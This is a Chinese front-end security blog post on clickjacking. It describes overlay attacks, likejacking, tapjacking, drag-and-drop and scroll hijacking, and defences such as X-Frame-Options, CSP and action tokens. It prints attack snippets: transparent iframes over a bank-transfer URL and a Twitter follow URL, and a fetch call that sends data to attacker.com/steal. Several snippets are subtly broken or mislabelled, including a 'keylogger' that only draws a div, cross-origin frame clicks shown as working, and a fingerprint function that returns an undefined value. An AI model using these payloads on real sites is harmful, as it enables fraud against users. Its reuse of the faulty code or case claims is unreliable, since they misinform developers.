阿里云主机折上折
  • 微信号
您当前的位置:网站首页 > 点击劫持的危害

点击劫持的危害

作者:陈川 阅读数:52781人阅读 分类: 前端安全

点击劫持的基本原理

点击劫持(Clickjacking)是一种视觉欺骗攻击手段。攻击者通过透明或伪装的iframe层覆盖在目标网页上,诱导用户点击看似无害的界面元素,实际上触发了隐藏框架中的恶意操作。这种攻击利用了CSS的透明属性和z-index堆叠特性,完全在用户无感知的情况下完成。

典型的攻击场景包括:

  • 伪造社交媒体"点赞"按钮覆盖在游戏界面上
  • 银行转账确认按钮被隐藏在虚假抽奖页面下
  • 管理员权限操作界面被嵌入到钓鱼邮件内容中
<!-- 基础点击劫持示例 -->
<style>
  .malicious {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.01;
    z-index: 100;
  }
  .decoy {
    position: relative;
    z-index: 1;
  }
</style>

<div class="decoy">看起来安全的按钮</div>
<iframe class="malicious" src="https://victim-site.com/transfer?amount=1000"></iframe>

主要危害形式

账户权限劫持

当用户登录态未过期时,攻击者可以诱导用户执行敏感操作。某电商平台曾出现案例:攻击者在促销页面下隐藏"确认收货"iframe,用户点击"领取优惠券"时实际完成了未收到货的确认操作。

社交工程放大

结合社交平台的分享特性,点击劫持会产生病毒式传播。Facebook在2010年遭遇的"Likejacking"攻击中,透明iframe覆盖在"观看视频"按钮上,导致用户无意间分享了恶意内容。

跨设备同步攻击

现代Web应用常保持多设备登录状态。攻击者可以在手机端诱导点击,触发用户在PC端已登录环境下的高危操作。某银行APP漏洞允许通过点击劫持完成大额转账,即使用户从未在移动端登录过网银。

组合式攻击升级

点击劫持常作为复合攻击的入口点:

  1. 先通过点击劫持获取部分权限
  2. 结合CSRF完成完整攻击链
  3. 利用DOM Clobbering绕过部分防护
// 结合键盘记录的攻击示例
document.addEventListener('click', (e) => {
  const fakeCursor = document.createElement('div');
  fakeCursor.style.position = 'absolute';
  fakeCursor.style.left = `${e.clientX}px`;
  fakeCursor.style.top = `${e.clientY}px`;
  document.body.appendChild(fakeCursor);
});

实际案例分析

推特历史漏洞(2018)

攻击者创建看似无害的"显示更多"按钮,下方隐藏关注特定账号的iframe。用户点击后自动关注垃圾账号,导致大规模传播。漏洞利用代码如下:

<button style="position: relative; z-index: 1">显示更多推文</button>
<iframe 
  src="https://twitter.com/follow?user=attacker"
  style="position: absolute; width: 100px; height: 50px; opacity: 0; top: 0; left: 0; z-index: 2">
</iframe>

在线文档编辑器漏洞(2020)

某协作办公平台存在点击劫持风险,攻击者可构造特定页面诱使用户点击,导致文档共享权限被修改。攻击涉及多层iframe嵌套:

<div class="fake-ui">点击此处查看文档历史版本</div>
<iframe src="share-dialog" class="hidden-frame"></iframe>
<script>
  setTimeout(() => {
    document.querySelector('.hidden-frame')
      .contentDocument.getElementById('public-share').click();
  }, 300);
</script>

防御技术实现

客户端防护措施

X-Frame-Options仍是基础防护手段,但需要正确配置:

# Nginx配置示例
add_header X-Frame-Options "SAMEORIGIN";
add_header Content-Security-Policy "frame-ancestors 'self'";

现代浏览器支持的CSP提供更灵活的防护:

<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'">

服务端验证增强

关键操作应实施二次验证:

// 敏感操作前验证用户交互
function confirmAction() {
  const rect = document.getElementById('confirmBtn').getBoundingClientRect();
  const isHuman = (
    event.clientX >= rect.left &&
    event.clientX <= rect.right &&
    event.clientY >= rect.top &&
    event.clientY <= rect.bottom
  );
  if (!isHuman) return false;
}

视觉混淆技术

对抗自动化点击劫持的UI方案:

.confirm-dialog {
  transform: rotate(0.5deg);
  position: fixed;
  animation: jitter 0.1s infinite;
}
@keyframes jitter {
  0% { transform: translate(0, 0); }
  25% { transform: translate(1px, 1px); }
  50% { transform: translate(0, 1px); }
  75% { transform: translate(1px, 0); }
}

新兴攻击变种

拖放劫持(Drag-and-Drop)

利用HTML5拖放API的新型攻击:

document.addEventListener('dragstart', (e) => {
  if (e.target.id === 'credential-file') {
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: e.target.data
    });
  }
});

触摸劫持(Tapjacking)

针对移动设备的变种攻击:

<div class="fake-button">立即安装更新</div>
<iframe 
  src="malicious-app://install"
  style="touch-action: none; pointer-events: auto">
</iframe>

滚动劫持(Scrolljacking)

结合滚动事件触发恶意操作:

let scrollCount = 0;
window.addEventListener('scroll', () => {
  scrollCount++;
  if (scrollCount > 3) {
    document.querySelector('iframe').contentWindow.submit();
  }
});

企业级防护方案

行为分析系统

部署前端行为监控:

const suspiciousPatterns = {
  rapidClicks: 0,
  lastClickTime: 0
};

document.addEventListener('click', (e) => {
  const now = Date.now();
  if (now - suspiciousPatterns.lastClickTime < 50) {
    suspiciousPatterns.rapidClicks++;
    if (suspiciousPatterns.rapidClicks > 3) {
      triggerDefense();
    }
  }
  suspiciousPatterns.lastClickTime = now;
});

动态令牌验证

关键操作绑定临时令牌:

// 生成操作令牌
function generateActionToken() {
  const token = crypto.randomUUID();
  document.cookie = `action_token=${token}; SameSite=Strict`;
  return token;
}

// 验证令牌
function verifyAction(token) {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith('action_token='))
    ?.split('=')[1] === token;
}

硬件特征绑定

高级防护方案示例:

// 获取设备指纹
async function getDeviceFingerprint() {
  const canvas = document.createElement('canvas');
  const gl = canvas.getContext('webgl');
  const audioContext = new AudioContext();
  // ...提取硬件特征
  return fingerprint;
}

// 绑定操作与设备
async function secureAction() {
  const fp = await getDeviceFingerprint();
  const storedFP = localStorage.getItem('device_fp');
  if (fp !== storedFP) throw new Error('Device mismatch');
}

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

前端川

前端川,陈川的代码茶馆🍵,专治各种不服的Bug退散符💻,日常贩卖秃头警告级的开发心得🛠️,附赠一行代码笑十年的摸鱼宝典🐟,偶尔掉落咖啡杯里泡开的像素级浪漫☕。‌